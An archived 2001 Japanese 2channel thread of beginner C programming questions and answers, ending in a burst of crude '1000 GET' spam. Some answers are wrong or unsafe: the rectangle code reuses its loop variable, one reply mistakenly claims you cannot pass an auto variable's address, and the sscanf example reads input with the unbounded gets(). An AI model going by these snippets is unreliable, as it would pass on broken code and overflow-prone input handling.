今、Cコンパイラの最適化能力って、コンパイラごとに大きく違うの? intelコンパイラ > VC++ > gcc ってな感じ? いや、これは想像だけど。
>>936 /* 幅 width, 高さ heightの四角を書く */
int i,j;
for(i=0; i<width; i++) putchar('#');
putchar('\n');
for(j=1; j<height-1; j++) {
putchar('#');
for(j=1; j<width-1; j++) putchar(' ');
putchar('#');
}
putchar('\n');
for(i=0; i<width; i++) putchar('#');
putchar('\n');
円を描くんなら三角関数を使っとけ。
942 :
デフォルトの名無しさん :01/10/17 17:33
lomg combi(int, int); long型はわかるんですけど、combiの意味がわかりません。 教えてください!
943 :
デフォルトの名無しさん :01/10/17 18:25
struct { char b[20]; }c; c.b="ナナシサン"; 何でこれでは、いけないのですか? すみませんが御指導お願いします。
>>943 K&Rを死ぬほど読んで配列とポインタの違いを理解してください。
>>944 死ぬほど読んで死んだらプログラムできなくなっちゃうんで、教えてください。
947 :
デフォルトの名無しさん :01/10/17 19:58
auto変数のポインタを他の関数に渡すのは 何故いけないのですか? foo() { int a=0; bar(&a); } bar(int *a) { *a = 10; }
普通のアーキテクチャのコンピュータだと、 レジスタにはポインタが無いから。
レジスタにはポインタが無いから>レジスタを指すポインタが無いから。
950 :
デフォルトの名無しさん :01/10/17 20:05
>>948 aはstackじゃないんですか。
auto変数のポインタ渡しして渡した関数で書き換えても動くんで(VisualC)わけわかりません。
暗黙的にstaticなんでしょうか。うう。
>>950 struct{
char *b;
} c;
なら
c.b="ナナシサン";
はOKだよ。
952 :
デフォルトの名無しさん :01/10/17 20:13
>>947 問題ないよ。
自動変数は最適化でレジスタにしか割り付けられないこともあるが、
&でアドレスを参照している変数は、きちんと実メモリ上(スタック)に配置される。
同じように
foo()
{
register int a;
bar(&a);
}
bar(int *pa)
{}
のようにやっても間違いではない。
>>953 Σがーん。register宣言してもコンパイラが面倒を見てくれるとは知らなかった。
それって組み込み系でも?
>>954 コンパイラが文句言わなければ大丈夫。
やってみてダンプしる
register宣言されてるやつのアドレスを見ると警告を出すコンパイラが あってもよいが、 今時のコンパイラはregisterをそもそも無視する傾向にあるな。
そろそろ別すれ
959 :
デフォルトの名無しさん :01/10/18 00:28
K&Rって何のことですか? 基本的なことわからなくてすみません。
>>961 K&Rって検索のことなんですね。
基本的なことを教えていただきありがとうございました。
>>959 ただの化石です。気にする必要はありません。
ていうか、知りたいことがあればすぐ聞くのではなくて
まずは検索してみようよ。
えっ? K&Rって化石のことなんですか? プログラマーの方言? 辞書で調べてみます。
>>693 化石どころかバイブルじゃない?
すべての C プログラマは K&R の hello, world から入門するのだ。
966 :
デフォルトの名無しさん :01/10/18 19:00
while(1){ scanf("%s",a); if(strcmp(a,"Y")==0); break; } リターンキー押してループ抜けるようにするにはどうしたらいいですか?
968 :
デフォルトの名無しさん :01/10/18 20:39
>>968 環境依存と言うのだから、環境を発表してみそ。
そうすれば、やさしい
>>967 がきっと答えてくれるだろう。
972 :
デフォルトの名無しさん :01/10/18 21:35
というか、
>>966 はstrcmpしている意味が全然ない。
973 :
デフォルトの名無しさん :01/10/18 22:15
966 のような scanf() の使い方ではなくて fscanf(), sscanf() で "hogehoge = 199" とかの定型フォーマットな ものから, ある値を取ってくるような使い方に焦点をあてて 書かれた本とか Web ページとかはないでしょうか. キーボードから値をとってくるのに scanf を使うなんて 教えてもあまり意味がないと思うのですが ... まあ本の都合ってのもあるんだろうけど.
int n; char str[256]; gets(str); if (sscanf(str, " hogehoge = %d ", &n) == 1) { printf("%d\n", n); }
976 :
キリ番ゲッター :01/10/26 19:06
1000間近スレッド発見
977 :
キリ番ゲッター :01/10/26 19:07
1000狙うからな 覚悟しておけ>ALL
978 :
キリ番ゲッター :01/10/26 19:08
俺様が1000取ったら うらびでお さしあげます!!!!!!! maji
979 :
キリ番ゲッター :01/10/26 19:09
980 :
キリ番ゲッター :01/10/26 19:09
1000GETの邪魔したら もらえなくなるので 注意しておけよ
981 :
キリ番ゲッター :01/10/26 19:10
1000.。。。そこは最後のフロンティア だよーーーーーーーーーーーーーーーーーーーーーーーーん
982 :
キリ番ゲッター :01/10/26 19:11
んんん???? ヤクルトのビールかけって何で放送されないの????? sage
983 :
キリ番ゲッター :01/10/26 19:11
1000という数字は 美しい ああああああああああ ほしい
1000 取って何すんの?
985 :
キリ番ゲッター :01/10/26 19:12
邪魔する奴=うんこ 氏ね
986 :
キリ番ゲッター :01/10/26 19:12
おおおおおお!!!!!!!!
邪魔するな
>>984 氏ね〜〜〜〜〜〜〜〜〜〜〜〜〜〜!!!
987 :
キリ番ゲッター :01/10/26 19:13
いいかROMよ 邪魔したら ウラビデオ もらえなくなるぞ!!!!!!!! hehehe
988 :
キリ番ゲッター :01/10/26 19:14
989 :
キリ番ゲッター :01/10/26 19:14
1000そこは 最後の スレッドフロンティア
990 :
キリ番ゲッター :01/10/26 19:15
タリバンよりも キリバン
1000取られたら怒る?
ガンバレー!応援してやるよー
993 :
キリ番ゲッター :01/10/26 19:15
くそ!!!!!!!!
思いっきり邪魔してるじゃ ないか!!!!
>>992 氏ね
994 :
キリ番ゲッター :01/10/26 19:16
つうか、サゲれば良いのにね(笑
ム板の厨房化がここでも…
997 :
キリ番ゲッター :01/10/26 19:17
いいか リロードして待ち構えるな!!! 1000横取り禁止じゃ
998 :
キリ番ゲッター :01/10/26 19:17
うおおおおおおおお!!!!!! なぜ邪魔するんだ fuck
さあ残りはいくつ?
1000 :
キリ番ゲッター :01/10/26 19:17
1 0 0 0 GET!!!!!!!!!!!
1001 :
1001 :
Over 1000 Thread このスレッドは1000を超えました。 もう書けないので、新しいスレッドを立ててくださいです。。。